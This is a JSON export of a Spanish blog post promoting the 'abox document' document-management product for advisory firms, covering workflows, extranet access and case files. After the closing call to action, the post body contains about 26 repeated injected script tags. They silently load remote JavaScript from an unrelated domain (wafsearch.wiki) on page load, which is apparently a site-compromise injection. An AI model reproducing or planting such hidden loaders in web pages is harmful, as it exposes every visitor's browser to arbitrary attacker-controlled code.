{"id":706,"date":"2012-04-16T10:09:34","date_gmt":"2012-04-16T08:09:34","guid":{"rendered":"http:\/\/www.blocument.com\/?p=706"},"modified":"2026-03-20T06:20:45","modified_gmt":"2026-03-20T11:20:45","slug":"gestion-documental-una-oportunidad-para-las-asesorias","status":"publish","type":"post","link":"https:\/\/www.adapting.com\/en\/gestion-documental-una-oportunidad-para-las-asesorias\/","title":{"rendered":"Gesti\u00f3n documental: una oportunidad para las asesor\u00edas"},"content":{"rendered":"<p>La implantaci\u00f3n de<strong> <a href=\"http:\/\/www.gestiondocumental.biz\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">abox document<\/a><\/strong> en varias <strong>asesor\u00edas<\/strong> recientemente nos anima a comentaros las bondades de la gesti\u00f3n documental en este sector.<\/p>\n<p>Cuando pensamos en una asesor\u00eda, lo primero que nos viene a la cabeza es la cantidad de documentos que se manejan: sobre las mesas, en archivadores, en carpetas y cajas. Parece, pues un entorno ideal para implementar herramientas de gesti\u00f3n documental. No obstante, no hay que perder de vista las dificultades con las que nos encontraremos:<\/p>\n<ul>\n<li><strong>Resistencia al cambio<\/strong>, el personal est\u00e1 acostumbrado a una serie de procesos de gesti\u00f3n, que se ver\u00e1n parcialmente redefinidos.<\/li>\n<li><strong>Captura inteligente de la informaci\u00f3n<\/strong>, los procesos de digitalizaci\u00f3n, indexaci\u00f3n y clasificaci\u00f3n deben ser lo m\u00e1s automatizados posible y no suponer tareas a\u00f1adidas al personal de la asesor\u00eda.<\/li>\n<li><strong>Modificaci\u00f3n<\/strong> de los h\u00e1bitos de <strong>acceso<\/strong> a la <strong>informaci\u00f3n<\/strong> del <strong>cliente<\/strong> final.<\/li>\n<\/ul>\n<p>El reto, por tanto, est\u00e1 en que el resultado del proyecto genere la confianza suficiente para asegurar su implantaci\u00f3n. Las dos cuestiones que pensamos deben atenderse con mayor cuidado son:<\/p>\n<ul>\n<li>la <strong>extranet<\/strong> de acceso a los documentos para clientes y oficinas y<\/li>\n<li>los <strong>sistemas de captura autom\u00e1ticos<\/strong>, que van a permitir reducir el esfuerzo de carga de documentaci\u00f3n en el gestor.<\/li>\n<\/ul>\n<p>Otras cuestiones, como la integraci\u00f3n con los sistemas de gesti\u00f3n ya disponibles o la captura de datos v\u00eda OCR, pueden ser tambi\u00e9n interesantes, aunque deben estudiarse caso a caso.<\/p>\n<p>La opci\u00f3n m\u00e1s utilizada en estos casos es la de <strong>sincronizaci\u00f3n<\/strong> de las carpetas f\u00edsicas del entorno Windows (por ejemplo, del servidor de datos o mejor, del sistema NAS de almacenamiento de ficheros) con abox document, puesto que es una forma sencilla de comandar grandes vol\u00famenes de informaci\u00f3n de datos. Adem\u00e1s, se asegura la integraci\u00f3n semiautom\u00e1tica con otras fuentes de datos, como el correo electr\u00f3nico, los sistemas de digitalizaci\u00f3n, hasta incluso los documentos generados por el programa de gesti\u00f3n.<\/p>\n<p>En todos estos casos, basta con elegir la carpeta destino correctamente y, opcionalmente, renombrar el fichero siguiendo un patr\u00f3n prestablecido para que toda <strong>la documentaci\u00f3n acabe de forma estructurada e indexada en el gestor documental<\/strong> abox document y, por tanto a disposici\u00f3n del cliente final.<\/p>\n<p>En cuanto a los<strong> flujos de trabajo (\u201cworkflows\u201d) de los documento<\/strong>s, habitualmente, cuando estamos hablando de grandes vol\u00famenes, por cuestiones de productividad se opta por la publicaci\u00f3n directa. S\u00f3lo en casos muy concretos, con documentos m\u00e1s sensibles que se quiera verificar o revisar con mayor detalle, podemos elegir un flujo que incorpore una revisi\u00f3n anterior a su publicaci\u00f3n y, por tanto a su visibilidad por parte del destinatario final del documento.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/04\/Workflow.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-707\" title=\"Workflow\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/04\/Workflow-300x137.jpg\" alt=\"Workflow\" width=\"300\" height=\"137\" \/><\/a>Adicionalmente, las <strong>transiciones<\/strong> de los diferentes estados de un flujo de trabajo (incluso, la del estado inicial, cuando estamos hablando de una publicaci\u00f3n directa), pueden llevar asociados algunos automatismos, como el env\u00edo de una notificaci\u00f3n o aviso por correo electr\u00f3nico de la disponibilidad de un documento, o la propia tarea pendiente de revisi\u00f3n de un nuevo documento para su publicaci\u00f3n.<\/p>\n<p>Por \u00faltimo, hemos de mencionar la posibilidad de utilizar la <strong>funcionalidad de Expedientes<\/strong> de abox document como una forma sencilla de indicar a los clientes, no s\u00f3lo los documentos que ya se han publicado, sino incluso los que est\u00e1n pendientes de completar ese expediente.<\/p>\n<p><a href=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/04\/Expediente.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-708\" title=\"Expediente\" src=\"https:\/\/www.adapting.com\/wp-content\/uploads\/2012\/04\/Expediente-300x215.jpg\" alt=\"Expediente\" width=\"300\" height=\"215\" \/><\/a>As\u00ed, para casos como la presentaci\u00f3n de una solicitud o la documentaci\u00f3n de un expediente, en los que conocemos de antemano la documentaci\u00f3n necesaria, con la creaci\u00f3n de ese expediente, abox document da de alta todos los documentos definidos para ese expediente, a la espera de la publicaci\u00f3n de los ficheros correspondientes, con el consiguiente<strong> ahorro en los procesos de publicaci\u00f3n<\/strong>, as\u00ed como en la <strong>normalizaci\u00f3n de la documentaci\u00f3n<\/strong>.<\/p>\n<p><strong>En resumen<\/strong>, podemos decir que el sector de Asesor\u00edas (de todo tipo: de gesti\u00f3n, de calidad, contables, laborales, etc.) ven incrementada de forma sustancial su <strong>productividad y la calidad del servicio a sus clientes<\/strong> implantando soluciones de <strong>gesti\u00f3n documental automatizada<\/strong>.<\/p>\n<p><strong><em>Si perteneces a este sector y quieres conocer m\u00e1s sobre <a href=\"http:\/\/www.gestiondocumental.biz\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">abox document<\/a>, cons\u00faltanos <a href=\"http:\/\/www.gestiondocumental.biz\/contacto\/contact-600-601\/\" target=\"_blank\" rel=\"noopener\" class=\"broken_link\">aqu\u00ed<\/a>.<\/em><\/strong><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/usa';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La implantaci\u00f3n de abox document en varias asesor\u00edas recientemente nos anima a comentaros las bondades de la gesti\u00f3n documental en este sector. Cuando pensamos en una asesor\u00eda, lo primero que nos viene a la cabeza es la cantidad de documentos que se manejan: sobre las mesas, en archivadores, en carpetas y cajas. Parece, pues un [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":707,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[243,249],"tags":[58,82,93],"amp_validity":null,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/706\/"}],"collection":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/"}],"about":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/types\/post\/"}],"author":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/users\/3\/"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/comments\/?post=706"}],"version-history":[{"count":26,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/706\/revisions\/"}],"predecessor-version":[{"id":14902,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/posts\/706\/revisions\/14902\/"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/707\/"}],"wp:attachment":[{"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/media\/?parent=706"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/categories\/?post=706"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adapting.com\/en\/wp-json\/wp\/v2\/tags\/?post=706"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}